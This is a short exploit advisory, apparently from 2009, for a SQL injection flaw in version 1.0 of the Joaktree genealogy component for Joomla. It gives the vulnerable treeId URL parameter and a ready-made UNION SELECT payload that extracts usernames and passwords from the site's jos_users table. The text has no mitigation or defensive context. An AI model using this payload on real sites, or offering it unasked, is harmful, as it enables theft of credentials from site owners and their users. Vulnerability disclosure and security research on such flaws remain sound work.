Joomla Joaktree Component v1.0 SQL Injection Vulnerability

Author: Don Tukulesto

Published: 2009-12-01

http://extensions.joomla.org/extensi...genealogy/9842

Version() : 1.0

Vulnerability : SQL injection

http://server/index.php?option=com_joaktree&view=joaktree&treeId =[SQL]

[ Exploit ]

-1+union+select+1,1,1,version(),1,666,1,concat(user name,0x3a,password),1,1,1,1,1,1,1,1+from+jos_users--